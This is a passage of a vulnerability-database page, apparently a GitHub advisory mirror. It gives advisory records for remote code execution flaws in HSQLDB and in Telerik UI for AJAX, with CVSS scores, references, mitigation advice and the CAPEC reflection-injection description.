  "details": "Those using `java.sql.Statement` or `java.sql.PreparedStatement` in hsqldb (HyperSQL DataBase) to process untrusted input may be vulnerable to a remote code execution attack. By default it is allowed to call any static method of any Java class in the classpath resulting in code execution. The issue can be prevented by updating to 2.7.1 or by setting the system property \"hsqldb.method_class_names\" to classes which are allowed to be called. For example, `System.setProperty(\"hsqldb.method_class_names\", \"abc\")` or Java argument `-Dhsqldb.method_class_names=\"abc\"` can be used. From version 2.7.1 all classes by default are not accessible except those in `java.lang.Math` and need to be manually enabled.",
  "id": "GHSA-77xx-rxvh-q682",
  "modified": "2023-01-11T22:59:28Z",
  "published": "2022-10-06T18:52:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41853"
    },
    {
      "type": "WEB",
      "url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=50212#c7"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2022/12/msg00020.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://sourceforge.net/projects/hsqldb"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5313"
    },
    {
      "type": "WEB",
      "url": "http://hsqldb.org/doc/2.0/guide/sqlroutines-chapt.html#src_jrt_access_control"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "HyperSQL DataBase vulnerable to remote code execution when processing untrusted input"
}

GHSA-78C9-2H53-GHVW

Vulnerability from github – Published: 2026-07-22 15:31 – Updated: 2026-07-22 15:31
VLAI
Details

In Progress® Telerik® UI for AJAX prior to v2026.2.708, forged upload metadata can influence AsyncUploadTypeName processing and trigger unsafe attacker-controlled type resolution, enabling remote code execution in affected deployments.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-13181"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-22T14:17:13Z",
    "severity": "HIGH"
  },
  "details": "In Progress\u00ae Telerik\u00ae UI for AJAX prior to v2026.2.708, forged upload metadata can influence AsyncUploadTypeName processing and trigger unsafe attacker-controlled type resolution, enabling remote code execution in affected deployments.",
  "id": "GHSA-78c9-2h53-ghvw",
  "modified": "2026-07-22T15:31:21Z",
  "published": "2026-07-22T15:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13181"
    },
    {
      "type": "WEB",
      "url": "https://www.telerik.com/products/aspnet-ajax/documentation/knowledge-base/kb-security-rau-asyncuploadtypename-deserialization-CVE-2026-13181"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Refactor your code to avoid using reflection.

Mitigation
Architecture and Design

Do not use user-controlled inputs to select and load classes or code.

Mitigation
Implementation

Apply strict input validation by using allowlists or indirect selection to ensure that the user is only selecting allowable classes or code.

CAPEC-138: Reflection Injection

An adversary supplies a value to the target application which is then used by reflection methods to identify a class, method, or field. For example, in the Java programming language the reflection libraries permit an application to inspect, load, and invoke classes and their components by name. If an adversary can control the input into these methods including the name of the class/method/field or the parameters passed to methods, they can cause the targeted application to invoke incorrect methods, read random fields, or even to load and utilize malicious classes that the adversary created. This can lead to the application revealing sensitive information, returning incorrect results, or even having the adversary take control of the targeted application.